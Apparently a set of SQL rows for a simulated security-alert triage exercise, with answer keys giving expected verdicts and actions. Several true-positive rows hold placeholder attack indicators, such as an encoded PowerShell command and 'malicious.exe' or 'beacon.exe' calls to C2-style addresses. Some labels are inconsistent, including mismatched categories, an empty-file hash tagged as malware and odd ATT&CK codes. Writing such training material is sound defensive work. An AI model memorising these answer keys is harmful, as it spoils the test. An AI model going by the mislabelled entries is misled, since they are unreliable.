(1928, 'Routine IT Vulnerability Scan', 'low', 'Zeek', 'Detected network traffic resembling a potential reconnaissance scan. Internal vulnerability scanning tool was run by IT.', 'Reconnaissance', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"admin_scan\",\"hostname\":\"scan-tool.local\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used by IT for scanning purposes\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common command for network scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"reconnaissance\",\"analysis_notes\":\"This alert was generated by an internal vulnerability scan conducted by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1929, 'Authorized Administrative Backup Traffic', 'low', 'Corelight', 'Network activity flagged as potential data exfiltration. Upon investigation, it was identified as routine backup operations.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.11\",\"username\":\"backup_admin\",\"hostname\":\"backup-server.local\",\"command_line\":\"rsync -avz /data/ 192.168.2.11:/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/ 192.168.2.11:/backup/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Known command for data backup using rsync\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert pertains to authorized backup operations and is not indicative of data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1930, 'Misconfigured Legacy Application Communication', 'medium', 'Suricata', 'Unusual network traffic was flagged as potential C2 beaconing. Analysis revealed it to be a misconfigured legacy application.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.5\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server.local\",\"command_line\":\"legacy_app --connect 203.0.113.5\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for non-malicious traffic\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"legacy_app --connect 203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used by legacy application for communication\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The legacy application was misconfigured, resulting in network traffic that mimicked C2 beaconing.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1931, 'Benign System Health Check Traffic', 'low', 'Darktrace', 'Network connection detected that appeared as lateral movement. Identified as benign system health checks.', 'Lateral Movement', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.20\",\"dst_ip\":\"192.168.5.30\",\"username\":\"health_check\",\"hostname\":\"monitor-server.local\",\"command_line\":\"ping -c 4 192.168.5.30\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 4 192.168.5.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard ping command for system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was a part of routine system health checks and did not constitute lateral movement.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1932, 'Suspicious Command Execution Detected on Endpoint', 'high', 'Wireshark', 'Potential malicious command execution detected involving an unauthorized script execution on an endpoint.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.50.10\",\"username\":\"compromised_user\",\"hostname\":\"compromised-machine.local\",\"command_line\":\"powershell.exe -EncodedCommand aABpACAAJwB3AG8AcgBsAGQAJwA=\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aABpACAAJwB3AG8AcgBsAGQAJwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of unauthorized execution\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"This alert represents a true positive as the PowerShell command was executed without authorization, indicating potential compromise.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1933, 'Routine IT Vulnerability Scanning Detected', 'low', 'Wireshark', 'A network scan was detected from an internal IP address, which appears to be part of authorized IT routine maintenance.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"itadmin\",\"hostname\":\"IT-SERVER01\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal network used by IT department\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network scanning command by IT\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it matches the profile of authorized IT scanning activity.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1934, 'Authorized Administrative Backup Activity', 'medium', 'Corelight', 'A data transfer from a critical server was detected. The activity matches scheduled backup operations.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"backupadmin\",\"hostname\":\"BACKUP-SERVER\",\"command_line\":\"rsync -avz /data 10.0.0.5:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of an internal server used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data 10.0.0.5:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized data backup\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive because the data transfer aligns with scheduled backup activities.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1935, 'Benign System Health Check Detected', 'low', 'Zeek', 'An internal IP address executed health check scripts on several network devices. This activity is part of regular system maintenance.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.25\",\"dst_ip\":\"192.168.3.30\",\"username\":\"syshealth\",\"hostname\":\"HEALTH-CHECKER\",\"command_line\":\"healthcheck --device 192.168.3.30 --report\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for system health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"healthcheck --device 192.168.3.30 --report\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized health check\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This alert is a false positive as it corresponds to routine health checks performed by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1936, 'Misconfigured Legacy Application Traffic', 'medium', 'Suricata', 'Unusual network activity from a legacy application server was detected. The traffic pattern aligns with known misconfigurations causing false alarms.', 'Data Exfil', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.40\",\"dst_ip\":\"198.51.100.10\",\"username\":\"legacyapp\",\"hostname\":\"LEGACY-SERVER\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious activity reported\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is a false positive due to known misconfigurations in legacy applications causing benign network traffic.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1937, 'Suspicious C2 Beaconing Detected', 'high', 'Darktrace', 'A device on the internal network is communicating with a known Command and Control server. The communication pattern matches known malware behavior.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.50\",\"dst_ip\":\"203.0.113.45\",\"username\":\"infecteduser\",\"hostname\":\"INFECTED-PC\",\"command_line\":\"malicious.exe --connect 203.0.113.45\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address showing signs of infection\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"malicious.exe --connect 203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Executable associated with multiple malware families\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is a true positive, as the communication pattern and IP address match known malicious activity linked to C2 servers.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1938, 'Routine IT Vulnerability Scan Triggered Network Communication Alert', 'medium', 'Zeek', 'A network communication from an internal IP was detected communicating with multiple external IPs over various ports. This is consistent with routine vulnerability scanning by IT.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.12\",\"username\":\"it_admin\",\"hostname\":\"internal-scanner\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address used for scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This activity matches known patterns of authorized vulnerability scanning, hence a false positive.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1939, 'Misconfigured Legacy App Generated Suspicious Network Traffic', 'low', 'Corelight', 'A misconfigured legacy application on an internal server generated suspicious traffic patterns typical of C2 communication. Investigation revealed it was benign.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"203.0.113.5\",\"username\":\"app_service\",\"hostname\":\"legacy-app-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with a known legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The misconfigured app resulted in unusual traffic but was not malicious.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1940, 'Authorized Administrative Backup Detected as Data Exfiltration', 'medium', 'Darktrace', 'Data transfer activity from a backup server to an external storage was flagged as potential data exfiltration. Verified as a scheduled backup task.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"198.51.100.50\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"External storage IP, no malicious activity detected.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Activity confirmed as legitimate due to scheduled backup tasks.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1941, 'Benign System Health Check Mistaken for Lateral Movement', 'low', 'Wireshark', 'Regular system health checks from a monitoring server were flagged as suspicious lateral movement within the network.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.200\",\"dst_ip\":\"192.168.1.201\",\"username\":\"monitor_service\",\"hostname\":\"monitor-server\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal monitoring server IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.201\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP of internal server receiving health check.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Confirmed as benign system health checks from internal monitoring.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1942, 'Actual C2 Beaconing Detected from Compromised Internal Host', 'high', 'Suricata', 'Detected suspicious repeated connections from an internal host to a known malicious C2 server. Further investigation confirmed the host was compromised.', 'C2 Beaconing', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.99\",\"username\":\"user123\",\"hostname\":\"compromised-host\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 server activity.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection pattern and OSINT results confirm this as a true positive for C2 beaconing.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1943, 'Detected C2 Beaconing from Internal Host to External IP', 'critical', 'Darktrace', 'An internal host has been detected communicating with a known C2 server. The traffic pattern is consistent with beaconing activity.', 'C2 Communication', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:23:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.45\",\"hostname\":\"internal-pc-01\",\"command_line\":\"beacon.exe -connect 203.0.113.45:443\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"beacon.exe -connect 203.0.113.45:443\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command pattern matches known C2 beaconing\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The external IP is linked to a known C2 server, confirmed by multiple OSINT sources.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1944, 'Routine IT Vulnerability Scan Detected as Malicious', 'medium', 'Zeek', 'A routine internal vulnerability scan was flagged as suspicious network activity due to high traffic volume.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.25\",\"username\":\"admin_scan\",\"hostname\":\"scanner-host\",\"command_line\":\"nmap -sS 10.0.2.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal vulnerability scanner\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 10.0.2.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command matches routine network scan pattern\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was confirmed to be a scheduled vulnerability scan by the IT department.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1945, 'Authorized Administrative Backup Misflagged as Data Exfiltration', 'low', 'Corelight', 'A backup process transferring large data volumes to a remote site was incorrectly flagged as potential data exfiltration.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup 192.168.1.200:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to authorized backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup 192.168.1.200:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command corresponds to scheduled backup task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer is part of a regular backup schedule, not unauthorized exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1946, 'Misconfigured Legacy App Triggers Network Anomaly Alert', 'medium', 'Suricata', 'A legacy application generated unusual network traffic patterns, mistakenly identified as suspicious activity.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:05:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"192.168.1.80\",\"hostname\":\"legacy-app-server\",\"command_line\":\"/usr/bin/legacyapp -connect 192.168.1.80\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/legacyapp -connect 192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Observed traffic pattern matches known legacy application behavior\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unusual traffic patterns are normal for this legacy application and not indicative of an attack.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1947, 'System Health Check Mistaken for Lateral Movement', 'medium', 'Wireshark', 'Network traffic from system health monitoring tools was incorrectly identified as lateral movement.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.3.5\",\"dst_ip\":\"10.0.3.10\",\"username\":\"syshealth\",\"hostname\":\"monitoring-tool\",\"command_line\":\"check_health -target 10.0.3.10\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP belongs to system health monitoring tool\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_health -target 10.0.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command in line with system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic was generated by legitimate system health monitoring tools, not unauthorized access.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1948, 'Routine IT Vulnerability Scanning Detected as C2 Beaconing', 'medium', 'Zeek', 'Network traffic resembling C2 beaconing was detected from an internal IP to an external server. Upon review, this was a routine vulnerability scan.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"198.51.100.25\",\"username\":\"scanner_user\",\"hostname\":\"scan-server\",\"command_line\":\"/usr/bin/nmap -sT -p 1-65535 198.51.100.25\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this IP.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"/usr/bin/nmap -sT -p 1-65535 198.51.100.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command identified as routine vulnerability scan.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Upon investigation, it was confirmed that the network traffic was generated by an authorized vulnerability scan tool.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
